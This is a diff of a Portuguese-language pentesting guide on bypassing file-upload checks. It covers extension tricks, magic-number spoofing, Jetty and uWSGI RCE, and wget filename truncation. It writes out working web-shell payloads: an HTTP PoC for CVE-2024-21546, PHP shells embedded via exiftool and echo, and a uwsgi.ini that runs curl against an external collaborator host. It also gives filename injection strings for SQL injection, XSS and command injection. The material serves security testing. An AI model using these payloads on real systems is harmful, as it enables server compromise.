* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
|
||||||
|
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,10 +1,10 @@
|
|||||||
# Envio de Arquivos
|
# Upload de Arquivos
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Metodologia Geral de Upload de Arquivos
|
## Metodologia Geral de Upload de Arquivos
|
||||||
|
|
||||||
Outras extensões úteis:
|
Other useful extensions:
|
||||||
|
|
||||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||||
@ -15,13 +15,13 @@ Outras extensões úteis:
|
|||||||
- **Perl**: _.pl, .cgi_
|
- **Perl**: _.pl, .cgi_
|
||||||
- **Erlang Yaws Web Server**: _.yaws_
|
- **Erlang Yaws Web Server**: _.yaws_
|
||||||
|
|
||||||
### Contornar verificações de extensões de arquivo
|
### Bypass das verificações de extensões
|
||||||
|
|
||||||
1. Se aplicável, verifique as extensões anteriores. Teste também usando algumas letras maiúsculas: _pHp, .pHP5, .PhAr ..._
|
1. Se aplicável, **verifique** as **extensões anteriores**. Teste também usando letras **maiúsculas**: _pHp, .pHP5, .PhAr ..._
|
||||||
2. Verifique **adicionando uma extensão válida antes** da extensão de execução (use as extensões anteriores também):
|
2. _Verifique **adicionar uma extensão válida antes** da extensão de execução (use também as extensões anteriores):_
|
||||||
- _file.png.php_
|
- _file.png.php_
|
||||||
- _file.png.Php5_
|
- _file.png.Php5_
|
||||||
3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforce** todos os caracteres **ascii** e **Unicode**. (_Note que você também pode tentar usar as **extensões** mencionadas anteriormente_)
|
3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforce** todos os caracteres **ascii** e **Unicode**. (_Nota: você também pode tentar usar as **extensões** mencionadas **anteriormente**_)
|
||||||
- _file.php%20_
|
- _file.php%20_
|
||||||
- _file.php%0a_
|
- _file.php%0a_
|
||||||
- _file.php%00_
|
- _file.php%00_
|
||||||
@ -31,7 +31,7 @@ Outras extensões úteis:
|
|||||||
- _file._
|
- _file._
|
||||||
- _file.php...._
|
- _file.php...._
|
||||||
- _file.pHp5...._
|
- _file.pHp5...._
|
||||||
4. Tente contornar as proteções **enganando o parser de extensão** do lado servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes **null**) entre extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
|
4. Tente burlar as proteções **enganando o parser de extensão** do lado do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes **null**) entre as extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
|
||||||
- _file.png.php_
|
- _file.png.php_
|
||||||
- _file.png.pHp5_
|
- _file.png.pHp5_
|
||||||
- _file.php#.png_
|
- _file.php#.png_
|
||||||
@ -40,18 +40,18 @@ Outras extensões úteis:
|
|||||||
- _file.php%0a.png_
|
- _file.php%0a.png_
|
||||||
- _file.php%0d%0a.png_
|
- _file.php%0d%0a.png_
|
||||||
- _file.phpJunk123png_
|
- _file.phpJunk123png_
|
||||||
5. Adicione **outra camada de extensões** ao teste anterior:
|
5. Adicione **outra camada de extensões** à checagem anterior:
|
||||||
- _file.png.jpg.php_
|
- _file.png.jpg.php_
|
||||||
- _file.php%00.png%00.jpg_
|
- _file.php%00.png%00.jpg_
|
||||||
6. Tente colocar a **extensão de execução antes da extensão válida** e torça para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer coisa com extensão .php, mesmo não terminando em .php, irá executar código):
|
6. Tente colocar a **extensão de execução antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer coisa com extensão **_.php_**, mas não necessariamente terminando em .php, executará código):
|
||||||
- _ex: file.php.png_
|
- _ex: file.php.png_
|
||||||
7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Nesse caso, um caractere dois-pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (ex.: "file.asax:.jpg"). Esse arquivo pode ser editado mais tarde usando outras técnicas, como usando seu short filename. O padrão "**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um ponto após esse padrão pode ser útil para contornar restrições adicionais (ex.: "file.asp::$data.”)
|
7. Uso do **NTFS alternate data stream (ADS)** no **Windows**. Nesse caso, um carácter dois-pontos ":" será inserido depois de uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (ex.: "file.asax:.jpg"). Esse arquivo pode ser editado depois usando outras técnicas, como usar seu short filename. O padrão "**::$data**" também pode ser usado para criar arquivos não-vazios. Portanto, adicionar um ponto após esse padrão também pode ser útil para contornar restrições adicionais (ex.: "file.asp::$data.").
|
||||||
8. Tente exceder os limites de nome de arquivo. A extensão válida é cortada. E o PHP malicioso fica. AAA<--SNIP-->AAA.php
|
8. Tente ultrapassar os limites do nome de arquivo. A extensão válida é cortada. E o PHP malicioso fica. AAA<--SNIP-->AAA.php
|
||||||
|
|
||||||
```
|
```
|
||||||
# Linux maximum 255 bytes
|
# Linux maximum 255 bytes
|
||||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||||
# Upload the file and check response how many characters it alllows. Let's say 236
|
# Upload the file and check response how many characters it alllows. Let's say 236
|
||||||
python -c 'print "A" * 232'
|
python -c 'print "A" * 232'
|
||||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
@ -59,56 +59,86 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|||||||
AAA<--SNIP 232 A-->AAA.php.png
|
AAA<--SNIP 232 A-->AAA.php.png
|
||||||
```
|
```
|
||||||
|
|
||||||
### Contornar Content-Type, Magic Number, Compressão & Redimensionamento
|
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||||
|
|
||||||
- Contorne verificações de **Content-Type** definindo o **valor** do cabeçalho **Content-Type** para: _image/png_ , _text/plain , application/octet-stream_
|
Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by:
|
||||||
|
|
||||||
|
- Using a valid image MIME and magic header (e.g., PNG’s `\x89PNG\r\n\x1a\n`).
|
||||||
|
- Naming the uploaded file with a PHP extension followed by a dot, e.g., `shell.php.`.
|
||||||
|
- The server strips the trailing dot and persists `shell.php`, which will execute if it’s placed in a web-served directory (default public storage like `/storage/files/`).
|
||||||
|
|
||||||
|
Minimal PoC (Burp Repeater):
|
||||||
|
```http
|
||||||
|
POST /profile/avatar HTTP/1.1
|
||||||
|
Host: target
|
||||||
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
|
||||||
|
|
||||||
|
------WebKitFormBoundary
|
||||||
|
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
|
||||||
|
Content-Type: image/png
|
||||||
|
|
||||||
|
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||||
|
------WebKitFormBoundary--
|
||||||
|
```
|
||||||
|
Então acesse o caminho salvo (típico em Laravel + LFM):
|
||||||
|
```
|
||||||
|
GET /storage/files/0xdf.php?cmd=id
|
||||||
|
```
|
||||||
|
Mitigações:
|
||||||
|
- Atualize unisharp/laravel-filemanager para ≥ 2.9.1.
|
||||||
|
- Implemente allowlists estritos no lado do servidor e revalide o nome de arquivo persistido.
|
||||||
|
- Sirva uploads a partir de locais não executáveis.
|
||||||
|
|
||||||
|
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||||
|
|
||||||
|
- Contorne verificações de **Content-Type** definindo o **valor** do **header** **Content-Type** para: _image/png_ , _text/plain , application/octet-stream_
|
||||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||||
- Contorne checagem de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\
|
- Contorne a verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o _file_ command). Ou introduza o shell dentro dos **metadata**:\
|
||||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||||
` ` ou você também poderia **introduzir o payload diretamente** em uma imagem:\
|
`\` or you could also **introduce the payload directly** in an image:\
|
||||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||||
- Se **compressão está sendo aplicada à sua imagem**, por exemplo usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o chunk **PLTE** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviva à compressão**.
|
- Se **compressão estiver sendo aplicada à sua imagem**, por exemplo usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que vai **sobreviver à compressão**.
|
||||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||||
- A página web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. Contudo, você pode usar o chunk **IDAT** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviva à compressão**.
|
- A página web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. Contudo, você pode usar o **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que vai **sobreviver à compressão**.
|
||||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||||
- Outra técnica para fazer um payload que **sobrevive a um redimensionamento da imagem**, usando a função PHP-GD `thumbnailImage`. Entretanto, você pode usar o chunk **tEXt** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviva à compressão**.
|
- Outra técnica para criar uma payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar o **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que vai **sobreviver à compressão**.
|
||||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||||
|
|
||||||
### Outras técnicas para verificar
|
### Other Tricks to check
|
||||||
|
|
||||||
- Encontre uma vulnerabilidade para **renomear** o arquivo já enviado (para alterar a extensão).
|
- Encontre uma vulnerabilidade para **renomear** o arquivo já enviado (para mudar a extensão).
|
||||||
- Encontre uma vulnerabilidade de **Local File Inclusion** para executar o backdoor.
|
- Encontre uma vulnerabilidade de **Local File Inclusion** para executar o backdoor.
|
||||||
- **Possível divulgação de informação**:
|
- **Possível divulgação de informação**:
|
||||||
1. Faça upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome**
|
1. Envie **várias vezes** (e ao **mesmo tempo**) o **mesmo arquivo** com o **mesmo nome**
|
||||||
2. Faça upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
|
2. Envie um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
|
||||||
3. Fazer upload de um arquivo com **".", "..", ou "..." como nome**. Por exemplo, no Apache no **Windows**, se a aplicação salva os arquivos enviados em "/www/uploads/", o arquivo com nome "." vai criar um arquivo chamado "uploads" em "/www/".
|
3. Enviar um arquivo com **".", ".." ou "…" como nome**. Por exemplo, no Apache em **Windows**, se a aplicação salva os arquivos enviados no diretório "/www/uploads/", o arquivo com nome "." criará um arquivo chamado "uploads" no diretório "/www/".
|
||||||
4. Fazer upload de um arquivo que possa não ser excluído facilmente como **"…:.jpg”** no **NTFS**. (Windows)
|
4. Envie um arquivo que possa não ser facilmente deletado, como **"…:.jpg"** em **NTFS**. (Windows)
|
||||||
5. Fazer upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. (Windows)
|
5. Envie um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` no nome. (Windows)
|
||||||
6. Fazer upload de um arquivo no **Windows** usando nomes **reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, e COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
|
6. Envie um arquivo no **Windows** usando nomes **reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
||||||
- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando aberto acidentalmente pela vítima.
|
- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **execute código** quando aberto acidentalmente pela vítima.
|
||||||
|
|
||||||
### Truques com extensões especiais
|
### Special extension tricks
|
||||||
|
|
||||||
Se você está tentando enviar arquivos para um servidor **PHP**, [dê uma olhada no truque **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
Se você estiver tentando enviar arquivos para um **servidor PHP**, [veja o truque **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||||
Se você está tentando enviar arquivos para um servidor **ASP**, [dê uma olhada no truque **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
Se você estiver tentando enviar arquivos para um **servidor ASP**, [veja o truque **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||||
|
|
||||||
Os arquivos `.phar` são como os `.jar` para java, mas para php, e podem ser **usados como um arquivo php** (executando-o com php, ou incluindo-o dentro de um script...)
|
Os arquivos `.phar` são como os `.jar` para Java, mas para PHP, e podem ser **usados como um arquivo php** (executando-os com php, ou incluindo-os dentro de um script...).
|
||||||
|
|
||||||
A extensão `.inc` às vezes é usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum ponto, alguém pode ter permitido **essa extensão ser executada**.
|
A extensão `.inc` às vezes é usada para arquivos php que são usados apenas para **importar arquivos**, então, em algum momento, alguém pode ter permitido **que esta extensão seja executada**.
|
||||||
|
|
||||||
## **Jetty RCE**
|
## **Jetty RCE**
|
||||||
|
|
||||||
Se você consegue fazer upload de um arquivo XML em um servidor Jetty você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem a seguir, faça upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pela shell!
|
Se você conseguir enviar um arquivo XML para um servidor Jetty você pode obter [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Assim, como mencionado na imagem a seguir, envie o arquivo XML para `$JETTY_BASE/webapps/` e espere o shell!
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
## **uWSGI RCE**
|
## **uWSGI RCE**
|
||||||
|
|
||||||
Para uma exploração detalhada desta vulnerabilidade verifique a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
Para uma exploração detalhada desta vulnerabilidade, confira a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||||
|
|
||||||
Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Arquivos de configuração uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notavelmente, o operador '@', usado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários esquemas suportados no uWSGI, o esquema "exec" é particularmente potente, permitindo a leitura de dados a partir da saída padrão de um processo. Esse recurso pode ser manipulado para fins maliciosos, como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração `.ini` é processado.
|
Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Arquivos de configuração uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, destina-se a incluir o conteúdo de um arquivo. Entre os vários schemes suportados no uWSGI, o scheme "exec" é particularmente potente, permitindo a leitura de dados da saída padrão de um processo. Esse recurso pode ser manipulado para finalidades nefastas como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração `.ini` é processado.
|
||||||
|
|
||||||
Considere o seguinte exemplo de um arquivo `uwsgi.ini` malicioso, demonstrando vários esquemas:
|
Considere o seguinte exemplo de um `uwsgi.ini` malicioso, mostrando vários schemes:
|
||||||
```ini
|
```ini
|
||||||
[uwsgi]
|
[uwsgi]
|
||||||
; read from a symbol
|
; read from a symbol
|
||||||
@ -126,14 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
|||||||
; call a function returning a char *
|
; call a function returning a char *
|
||||||
characters = @(call://uwsgi_func)
|
characters = @(call://uwsgi_func)
|
||||||
```
|
```
|
||||||
A execução do payload ocorre durante o parsing do arquivo de configuração. Para que a configuração seja ativada e analisada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um ataque de Denial of Service) ou o arquivo deve ser configurado para auto-reload. O recurso auto-reload, se habilitado, recarrega o arquivo em intervalos especificados ao detectar mudanças.
|
A execução do payload ocorre durante o parsing do arquivo de configuração. Para que a configuração seja ativada e parseada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um Denial of Service attack) ou o arquivo deve estar configurado para auto-reload. O recurso de auto-reload, se ativado, recarrega o arquivo em intervalos especificados ao detectar alterações.
|
||||||
|
|
||||||
É crucial entender a natureza permissiva do parsing do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.
|
É crucial entender a natureza permissiva do parsing dos arquivos de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.
|
||||||
|
|
||||||
## **wget File Upload/SSRF Trick**
|
## **wget Envio de Arquivos/SSRF Truque**
|
||||||
|
|
||||||
Em algumas ocasiões você pode encontrar que um servidor está usando **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma whitelist para assegurar que somente arquivos permitidos serão baixados. No entanto, **this check can be bypassed.**\
|
Em algumas ocasiões você pode descobrir que um servidor está usando **`wget`** para **download de arquivos** e você pode **indicar** o **URL**. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma whitelist para assegurar que apenas arquivos permitidos serão baixados. No entanto, **essa verificação pode ser contornada.**\
|
||||||
A **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
|
O **comprimento máximo** de um **filename** em **linux** é **255**, no entanto, **wget** trunca os nomes de arquivo para **236** caracteres. Você pode **download a file called "A"\*232+".php"+".gif"**, esse nome de arquivo vai **bypassar** a **verificação** (como neste exemplo **".gif"** é uma extensão **válida**) mas `wget` irá **renomear** o arquivo para **"A"\*232+".php"**.
|
||||||
```bash
|
```bash
|
||||||
#Create file and HTTP server
|
#Create file and HTTP server
|
||||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||||
@ -156,35 +186,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||||||
|
|
||||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||||
```
|
```
|
||||||
Note que **outra opção** que você pode estar pensando para contornar essa verificação é fazer com que o **servidor HTTP redirecione para um arquivo diferente**, de modo que a URL inicial passe pela verificação e então wget baixe o arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **wget vai baixar a página redirecionada com o nome do arquivo indicado na URL original**.
|
Observe que **outra opção** que você pode estar pensando para contornar essa verificação é fazer o **servidor HTTP redirecionar para um arquivo diferente**, então a URL inicial passará pela verificação, mas o wget irá baixar o arquivo redirecionado com o novo nome. Isso **não vai funcionar** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names` porque **o wget vai baixar a página redirecionada com o nome do arquivo indicado na URL original**.
|
||||||
|
|
||||||
## Tools
|
## Ferramentas
|
||||||
|
|
||||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para auxiliar Pentesters e Bug Hunters a testar mecanismos de upload de arquivos. Ela aproveita várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web.
|
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para auxiliar Pentesters e Bug Hunters na testagem de mecanismos de upload de arquivos. Ela aproveita várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web.
|
||||||
|
|
||||||
### Corrupting upload indices with snprintf quirks (historical)
|
### Corrupting upload indices with snprintf quirks (historical)
|
||||||
|
|
||||||
Alguns handlers de upload legados que usam `snprintf()` ou similar para construir arrays multi-file a partir de um upload single-file podem ser enganados a forjar a estrutura `_FILES`. Devido a inconsistências e truncamentos no comportamento de `snprintf()`, um upload cuidadosamente criado pode aparecer como múltiplos arquivos indexados no lado servidor, confundindo a lógica que assume uma forma estrita (por exemplo, tratando-o como um upload multi-file e tomando caminhos inseguros). Embora seja raro hoje em dia, esse padrão de “index corruption” ocasionalmente ressurge em CTFs e código legado.
|
Alguns handlers de upload legados que usam `snprintf()` ou similares para construir arrays multi-file a partir de um upload de arquivo único podem ser enganados a forjar a estrutura `_FILES`. Devido a inconsistências e truncamento no comportamento do `snprintf()`, um upload cuidadosamente construído pode aparecer como múltiplos arquivos indexados no lado do servidor, confundindo lógica que assume uma forma rígida (por exemplo, tratando-o como um upload multi-file e tomando ramos inseguros). Embora seja algo raro hoje em dia, esse padrão de “index corruption” ocasionalmente ressurge em CTFs e codebases mais antigas.
|
||||||
|
|
||||||
## From File upload to other vulnerabilities
|
## From File upload to other vulnerabilities
|
||||||
|
|
||||||
- Defina **filename** como `../../../tmp/lol.png` e tente alcançar um **path traversal**
|
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
|
||||||
- Defina **filename** como `sleep(10)-- -.jpg` e você pode ser capaz de alcançar uma **SQL injection**
|
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
|
||||||
- Defina **filename** como `<svg onload=alert(document.domain)>` para alcançar um **XSS**
|
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
|
||||||
- Defina **filename** como `; sleep 10;` para testar alguma command injection (mais [command injections tricks here](../command-injection.md))
|
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
|
||||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
